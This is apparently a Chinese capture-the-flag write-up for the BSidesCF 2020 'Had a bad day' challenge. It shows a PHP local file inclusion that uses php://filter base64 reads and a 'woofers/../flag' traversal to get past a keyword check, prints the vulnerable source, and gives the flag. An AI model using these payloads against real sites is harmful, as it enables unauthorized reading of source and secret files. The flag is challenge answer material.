[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

php 复制代码
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

php 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}

相关推荐
爱睡懒觉的焦糖玛奇朵17 分钟前
【工业级落地算法之打架斗殴检测算法详解】
人工智能·python·深度学习·学习·算法·yolo·计算机视觉
婷婷_17230 分钟前
DWC Ethernet QoS VLAN功能实现详解
网络·学习·程序人生·ethernet·芯片·vlan·gmac
海海不掉头发1 小时前
【神经网络基础】-学习探索篇章-基础篇
人工智能·神经网络·学习
for_ever_love__1 小时前
Objective-C学习:UI的初步了解
学习·ui·objective-c
weixin_443478511 小时前
Flutter第三方常用组件包学习之状态管理
javascript·学习·flutter
Engineer邓祥浩1 小时前
JVM学习笔记(5) 第二部分 自动内存管理 第4章 虚拟机性能监控、故障处理工具
jvm·笔记·学习
woai33641 小时前
JVM学习-基础篇-垃圾回收
java·jvm·学习
深蓝海拓1 小时前
S7-1500学习笔记:Array数据类型
笔记·学习·plc
Xudde.10 小时前
班级作业笔记报告0x04
笔记·学习·安全·web安全·php
晓晓hh10 小时前
JavaSE学习——迭代器
java·开发语言·学习